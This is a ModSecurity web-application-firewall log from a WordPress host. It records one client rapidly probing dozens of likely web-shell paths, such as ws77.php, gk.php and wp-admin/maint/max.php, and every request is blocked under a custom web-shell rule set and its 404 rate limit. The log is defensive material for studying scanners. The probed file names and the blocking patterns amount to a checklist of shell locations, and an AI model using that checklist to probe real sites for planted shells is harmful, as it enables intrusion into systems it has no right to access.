[Sun Mar 22 20:25:57.699009 2026] [:error] [pid 51361:tid 51384] [client 172.213.208.27:12089] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "ab_f1RXYUsdvKC9YWpXiXAAAAA0"]
[Sun Mar 22 20:25:58.475355 2026] [:error] [pid 51362:tid 51423] [client 172.213.208.27:43868] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "ab_f1sOwPm3DXzTDjUfCNwAAAFY"]
[Sun Mar 22 20:25:59.301965 2026] [:error] [pid 30166:tid 30198] [client 172.213.208.27:25197] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "ab_f17m4_26jKMD0zy3t-gAAAVU"]
[Sun Mar 22 20:26:00.227465 2026] [:error] [pid 51362:tid 51419] [client 172.213.208.27:39466] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "ab_f2MOwPm3DXzTDjUfCOQAAAFI"]
[Sun Mar 22 20:26:00.945759 2026] [:error] [pid 51361:tid 51378] [client 172.213.208.27:22842] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_f2BXYUsdvKC9YWpXiYwAAAAc"]
[Sun Mar 22 20:26:01.821816 2026] [:error] [pid 51362:tid 51406] [client 172.213.208.27:43862] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_f2cOwPm3DXzTDjUfCQQAAAEU"]
[Sun Mar 22 20:26:02.626159 2026] [:error] [pid 51362:tid 51425] [client 172.213.208.27:48264] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_f2sOwPm3DXzTDjUfCQgAAAFg"]
[Sun Mar 22 20:26:03.413350 2026] [:error] [pid 51363:tid 51446] [client 172.213.208.27:25643] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_f21wa9x6OCTRkhl26jQAAAJA"]
[Sun Mar 22 20:26:04.273314 2026] [:error] [pid 51361:tid 51379] [client 172.213.208.27:1674] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "ab_f3BXYUsdvKC9YWpXiagAAAAg"]
[Sun Mar 22 20:26:04.878198 2026] [:error] [pid 40039:tid 40058] [client 172.213.208.27:48317] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "ab_f3B3aDgUJfBYishm2JQAAARE"]
[Sun Mar 22 20:26:05.619419 2026] [:error] [pid 30166:tid 30185] [client 172.213.208.27:11446] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "ab_f3bm4_26jKMD0zy3uBQAAAUo"]
[Sun Mar 22 20:26:06.769851 2026] [:error] [pid 51362:tid 51400] [client 172.213.208.27:34676] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "ab_f3sOwPm3DXzTDjUfCRwAAAEA"]
[Sun Mar 22 20:26:07.696759 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:22833] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "ab_f302TppSvA8W5CBRVeAAAAMc"]
[Sun Mar 22 20:26:08.421597 2026] [:error] [pid 51468:tid 51480] [client 172.213.208.27:11400] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "ab_f4E2TppSvA8W5CBRVeQAAAMQ"]
[Sun Mar 22 20:26:09.038236 2026] [:error] [pid 30166:tid 30196] [client 172.213.208.27:20508] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "ab_f4bm4_26jKMD0zy3uDgAAAVM"]
[Sun Mar 22 20:26:09.754340 2026] [:error] [pid 30166:tid 30190] [client 172.213.208.27:10764] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "ab_f4bm4_26jKMD0zy3uEAAAAU8"]
[Sun Mar 22 20:26:10.446336 2026] [:error] [pid 30166:tid 30189] [client 172.213.208.27:1238] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "ab_f4rm4_26jKMD0zy3uEgAAAU4"]
[Sun Mar 22 20:26:11.050415 2026] [:error] [pid 30166:tid 30199] [client 172.213.208.27:22788] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "ab_f47m4_26jKMD0zy3uFQAAAVY"]
[Sun Mar 22 20:26:12.226135 2026] [:error] [pid 30166:tid 30170] [client 172.213.208.27:1702] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "ab_f5Lm4_26jKMD0zy3uGwAAAUA"]
[Sun Mar 22 20:26:12.828461 2026] [:error] [pid 51468:tid 51494] [client 172.213.208.27:10754] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "ab_f5E2TppSvA8W5CBRVegAAANI"]
[Sun Mar 22 20:26:13.390533 2026] [:error] [pid 51468:tid 51495] [client 172.213.208.27:8346] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ab_f5U2TppSvA8W5CBRVfAAAANM"]
[Sun Mar 22 20:26:14.674359 2026] [:error] [pid 51362:tid 51415] [client 172.213.208.27:39446] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ab_f5sOwPm3DXzTDjUfCTgAAAE4"]
[Sun Mar 22 20:26:15.712325 2026] [:error] [pid 51362:tid 51423] [client 172.213.208.27:11217] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ab_f58OwPm3DXzTDjUfCUwAAAFY"]
[Sun Mar 22 20:26:16.421093 2026] [:error] [pid 51468:tid 51493] [client 172.213.208.27:31429] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "ab_f6E2TppSvA8W5CBRVfQAAANE"]
[Sun Mar 22 20:26:18.291484 2026] [:error] [pid 51362:tid 51404] [client 172.213.208.27:8154] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "ab_f6sOwPm3DXzTDjUfCWAAAAEM"]
[Sun Mar 22 20:26:19.038997 2026] [:error] [pid 51468:tid 51482] [client 172.213.208.27:1947] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "ab_f602TppSvA8W5CBRViAAAAMY"]
[Sun Mar 22 20:26:19.747343 2026] [:error] [pid 51363:tid 51430] [client 172.213.208.27:39449] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "ab_f61wa9x6OCTRkhl26lwAAAII"]
[Sun Mar 22 20:26:20.449760 2026] [:error] [pid 51361:tid 51395] [client 172.213.208.27:20505] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "ab_f7BXYUsdvKC9YWpXifwAAABY"]
[Sun Mar 22 20:26:21.624489 2026] [:error] [pid 51362:tid 51417] [client 172.213.208.27:12087] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "ab_f7cOwPm3DXzTDjUfCWwAAAFA"]
[Sun Mar 22 20:26:23.192211 2026] [:error] [pid 51361:tid 51396] [client 172.213.208.27:1276] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "ab_f7xXYUsdvKC9YWpXijAAAABc"]
[Sun Mar 22 20:26:24.232141 2026] [:error] [pid 30166:tid 30193] [client 172.213.208.27:43030] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "ab_f8Lm4_26jKMD0zy3uJwAAAVI"]
[Sun Mar 22 20:26:25.099572 2026] [:error] [pid 51362:tid 51406] [client 172.213.208.27:11406] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "ab_f8cOwPm3DXzTDjUfCXgAAAEU"]
[Sun Mar 22 20:26:26.087492 2026] [:error] [pid 30166:tid 30177] [client 172.213.208.27:31456] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "ab_f8rm4_26jKMD0zy3uKQAAAUY"]
[Sun Mar 22 20:26:26.870748 2026] [:error] [pid 51362:tid 51423] [client 172.213.208.27:14069] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "ab_f8sOwPm3DXzTDjUfCYQAAAFY"]
[Sun Mar 22 20:26:27.610779 2026] [:error] [pid 51362:tid 51407] [client 172.213.208.27:8380] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "ab_f88OwPm3DXzTDjUfCZAAAAEY"]
[Sun Mar 22 20:26:28.535410 2026] [:error] [pid 51362:tid 51416] [client 172.213.208.27:43024] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "ab_f9MOwPm3DXzTDjUfCZwAAAE8"]
[Sun Mar 22 20:26:29.444313 2026] [:error] [pid 30166:tid 30182] [client 172.213.208.27:11214] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "ab_f9bm4_26jKMD0zy3uMQAAAUc"]
[Sun Mar 22 20:26:30.291335 2026] [:error] [pid 51362:tid 51414] [client 172.213.208.27:11428] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "ab_f9sOwPm3DXzTDjUfCagAAAE0"]
[Sun Mar 22 20:26:30.924278 2026] [:error] [pid 51362:tid 51405] [client 172.213.208.27:34616] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "ab_f9sOwPm3DXzTDjUfCbAAAAEQ"]
[Sun Mar 22 20:26:31.692175 2026] [:error] [pid 40039:tid 40041] [client 172.213.208.27:13781] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "ab_f9x3aDgUJfBYishm2SAAAAQA"]
[Sun Mar 22 20:26:32.604738 2026] [:error] [pid 51468:tid 51476] [client 172.213.208.27:11622] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ab_f-E2TppSvA8W5CBRVkwAAAMA"]
[Sun Mar 22 20:26:35.239799 2026] [:error] [pid 30166:tid 30174] [client 172.213.208.27:43340] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ab_f-7m4_26jKMD0zy3uPAAAAUM"]
[Sun Mar 22 20:26:36.149998 2026] [:error] [pid 30166:tid 30200] [client 172.213.208.27:38422] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ab_f_Lm4_26jKMD0zy3uPgAAAVc"]
[Sun Mar 22 20:26:37.341950 2026] [:error] [pid 30166:tid 30193] [client 172.213.208.27:8748] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ab_f_bm4_26jKMD0zy3uQgAAAVI"]
[Sun Mar 22 20:26:38.483019 2026] [:error] [pid 30166:tid 30186] [client 172.213.208.27:34582] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "ab_f_rm4_26jKMD0zy3uRAAAAUs"]
[Sun Mar 22 20:26:41.748466 2026] [:error] [pid 51468:tid 51494] [client 172.213.208.27:16675] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "ab_gAU2TppSvA8W5CBRVpQAAANI"]
[Sun Mar 22 20:26:42.540149 2026] [:error] [pid 51363:tid 51429] [client 172.213.208.27:21305] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "ab_gAlwa9x6OCTRkhl26nQAAAIE"]
[Sun Mar 22 20:26:57.264706 2026] [:error] [pid 51361:tid 51382] [client 172.213.208.27:29930] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "ab_gERXYUsdvKC9YWpXi0gAAAAs"]
[Sun Mar 22 20:26:58.096785 2026] [:error] [pid 30166:tid 30193] [client 172.213.208.27:25664] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "ab_gErm4_26jKMD0zy3udQAAAVI"]
[Sun Mar 22 20:26:59.160426 2026] [:error] [pid 51468:tid 51487] [client 172.213.208.27:26733] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "ab_gE02TppSvA8W5CBRVvAAAAMs"]
[Sun Mar 22 20:27:00.137079 2026] [:error] [pid 51362:tid 51400] [client 172.213.208.27:8524] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "ab_gFMOwPm3DXzTDjUfCjQAAAEA"]
[Sun Mar 22 20:27:01.357626 2026] [:error] [pid 51361:tid 51392] [client 172.213.208.27:16309] [client 172.213.208.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/app.php"] [unique_id "ab_gFRXYUsdvKC9YWpXi4wAAABQ"]
[Sun Mar 22 20:27:02.307524 2026] [:error] [pid 51361:tid 51371] [client 172.213.208.27:15142] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/max.php"] [unique_id "ab_gFhXYUsdvKC9YWpXi6gAAAAA"]
[Sun Mar 22 20:27:04.312683 2026] [:error] [pid 51361:tid 51377] [client 172.213.208.27:9897] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/max.php"] [unique_id "ab_gGBXYUsdvKC9YWpXi9gAAAAY"]
[Sun Mar 22 20:27:05.531939 2026] [:error] [pid 30166:tid 30191] [client 172.213.208.27:34364] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/max.php"] [unique_id "ab_gGbm4_26jKMD0zy3uiQAAAVA"]
[Sun Mar 22 20:27:06.981705 2026] [:error] [pid 51468:tid 51493] [client 172.213.208.27:21657] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/max.php"] [unique_id "ab_gGk2TppSvA8W5CBRVwgAAANE"]
